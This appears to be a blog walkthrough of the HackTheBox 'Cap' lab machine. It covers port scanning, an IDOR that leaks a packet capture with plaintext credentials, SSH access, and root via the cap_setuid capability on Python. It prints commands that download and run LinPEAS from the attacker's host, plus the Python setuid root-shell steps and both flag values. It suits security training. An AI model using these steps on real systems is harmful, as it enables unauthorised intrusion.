Bukhari's Archive
Published on

Cap Machine (HackTheBox) — Step-by-Step Walkthrough

victory

Overview

Cap is an Easy-rated Linux machine that centers around two distinct, easy-to-understand misconfigurations rather than any complex exploit chain, making it a great box for beginners learning the basics of web and Linux privilege escalation.

The attack path starts with a custom "Security Dashboard" web app on port 80 that auto-logs visitors in as a user named Nathan. A quick look at the app's "Security Snapshot" feature reveals a classic IDOR (Insecure Direct Object Reference) — the download URL references files by a simple incrementing ID, and tweaking that ID exposes a packet capture that was never meant to be accessible. Since FTP (also running on the box) transmits credentials in plaintext, that leaked pcap hands over valid SSH credentials almost immediately.

Once on the box as a low-privileged user, privilege escalation to root comes down to a single misconfigured Linux capability: the cap_setuid flag set on the system's Python 3 binary. That one setting lets any user who can run Python call setuid(0) and spawn a root shell — no sudo rights, no kernel exploit, no password needed.

**In short**: **web IDOR → leaked creds → user access → abused binary capability → root.**


Machine Info

RELEASE DATE
—
RETIRE DATE
02 Oct 2021
OS
—
RADAR GRAPH
Enumeration
Real-Life
CVE
Custom
Exploitation
CTF-Like
FIRST BLOOD
user
00:03:38
szymex73 on Hack The Box
root
00:04:44
szymex73 on Hack The Box
MY TIME
USER
00:41:10
ROOT
00:22:54

Recon

I started, as always, with an Nmap scan to get a picture of what's running on the box.

┌──(kali㉿kali)-[~/HackTheBox]
└─$ nmap -sCV -oA Easy/cap 10.129.2.59
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-09 14:09 -0400
Nmap scan report for 10.129.2.59
Host is up (0.65s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.65 seconds

Three open TCP ports. Here's how I prioritized them:

  • **Port 21 (FTP)** — I always check for an anonymous login first, since it's one of the most common misconfigurations and takes seconds to rule out.
  • **Port 22 (SSH)** — Without credentials or a known username to test, there's nothing to do here yet. I set it aside for later.
  • **Port 80 (HTTP)** — A custom "Security Dashboard" application running on Gunicorn. This looked like the most promising entry point, so I focused my enumeration here.

FTP: Anonymous Login

I tried an anonymous FTP login to rule out the easy win first.

┌──(kali㉿kali)-[~/HackTheBox/CAP]
└─$ ftp 10.129.2.59
Connected to 10.129.2.59.
220 (vsFTPd 3.0.3)
Name (10.129.2.59:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed

No luck — anonymous access was disabled. I moved on to the web application.

Web Enumeration

Browsing to the web server on port 80 landed me on a Security Dashboard, and interestingly, I was already logged in as a user called Nathan. No login screen, no credentials needed — the session was just handed to me.

cap

The dashboard had a feature called "Security Snapshot (5 second PCAP + Analysis)." Clicking it triggered a short network capture and gave me a link to download the result. The URL it generated looked like this:

http://10.129.2.59/data/1

That numeric ID at the end of the URL immediately stood out to me. Whenever an application exposes a resource using a simple, predictable, sequential number like this, it's worth testing whether you can access other resources just by changing that number — a class of vulnerability known as IDOR (Insecure Direct Object Reference). In plain terms: the app isn't properly checking whether the logged-in user is actually allowed to see the file being requested — it just trusts whatever ID is in the URL.

cap

To test this, I manually edited the URL to request ID 0 instead of 1:

http://10.129.2.59/data/0

I was still logged in as Nathan, but the file returned was different — meaning the app happily served me a resource that belonged to someone (or something) else entirely.

cap

Why I tried ID 0 specifically: On most systems, IDs starting at 0 or 1 represent the earliest or most privileged records created. On Linux, for example, UID 0 is reserved for the root account, while UID 1 is typically the first regular user created after installation. Applying that same logic to this dashboard, ID 0 seemed like a good bet for either the very first capture ever taken, or one tied to an administrative process — and it paid off.

Analyzing the Capture

The file downloaded from /data/0 was a .pcap (packet capture) file — essentially a recording of network traffic. Since FTP transmits credentials in plaintext (it has no built-in encryption), any login attempt captured in that traffic would be fully readable.

I opened the file with strings, a simple command-line tool that pulls out readable text from a binary file — a fast way to eyeball a pcap for anything obviously interesting without firing up Wireshark.

┌──(kali㉿kali)-[~/Downloads]
└─$ strings 0.pcap

cap

Sure enough, buried in the output was a plaintext FTP login — a username and password. Someone (likely an admin testing the dashboard) had authenticated to the box's FTP service while this capture was running, and the dashboard had unintentionally exposed that recording to any logged-in user, including me.

Gaining a Foothold: SSH

I took the credentials recovered from the pcap and tried them against SSH, since reused credentials across services on the same box are common in these challenges.

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh nathan@10.129.2.59

It worked. I was in as nathan, and the user flag was sitting right there in the home directory.

nathan@cap:~$ cat user.txt
7d76a8896dfd7d6ec28dcd72baaab3f6

Privilege Escalation

With a foothold established, my next goal was root. I started with the basics — checking what Nathan was allowed to run with elevated privileges.

nathan@cap:~$ sudo -l
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.

No sudo rights. Next stop: LinPEAS, a widely-used enumeration script that automatically scans a Linux box for common privilege escalation vectors (misconfigured permissions, exposed credentials, dangerous capabilities, cron jobs, and so on) so you don't have to check everything by hand.

I spun up a quick local Python web server on my attack machine, then pulled linpeas.sh onto the target over HTTP:

# On my machine
python3 -m http.server 80

# On the target
nathan@cap:/tmp$ wget http://<my-ip>/linpeas.sh
nathan@cap:/tmp$ bash linpeas.sh

cap

What LinPEAS Found

LinPEAS flagged an interesting Linux capability assigned directly to the Python 3.8 binary.

cap

I confirmed it manually with getcap, a tool that lists any special capabilities attached to a binary:

nathan@cap:/tmp$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid+ep

This was the key. A quick explanation for anyone unfamiliar with Linux capabilities: normally, only the root user can do powerful, system-level things. Capabilities let you hand out individual pieces of root's power to a specific program, without making that program fully root-owned. It's meant to be a safer, more fine-grained alternative to just running everything as root.

In this case, cap_setuid had been granted to the Python binary. This capability allows a process to call setuid() — the system function that changes which user a running process is acting as. Normally, only root can arbitrarily change a process's user ID to anything it wants. But because Python itself had been granted this capability, any script run with this Python binary could call setuid(0) and instantly become root — no exploit needed, no password required. It's effectively an unlocked back door built right into a legitimate system binary.

Abusing the Capability

I launched Python and used it to spawn a root shell:

nathan@cap:/var/www/html$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pty
>>> import os
>>> os.setuid(0)
>>> pty.spawn("bash")

That was it. os.setuid(0) switched my effective user ID to 0 — root — and pty.spawn("bash") dropped me into a fully interactive root shell.

root@cap:/var/www/html# ls -la /root/
total 36
drwx------  6 root root 4096 Oct 10 17:49 .
drwxr-xr-x 20 root root 4096 Jun  1  2021 ..
lrwxrwxrwx  1 root root    9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root 4096 May 23  2021 .cache
drwxr-xr-x  3 root root 4096 May 23  2021 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
drwx------  2 root root 4096 May 23  2021 .ssh
lrwxrwxrwx  1 root root    9 May 27  2021 .viminfo -> /dev/null
-r--------  1 root root   33 Oct 10 17:49 root.txt
drwxr-xr-x  3 root root 4096 May 23  2021 snap

Finally, I grabbed the root flag:

root@cap:/var/www/html# cat /root/root.txt
e584391d70bdebf0a72d057ce3cc7a9a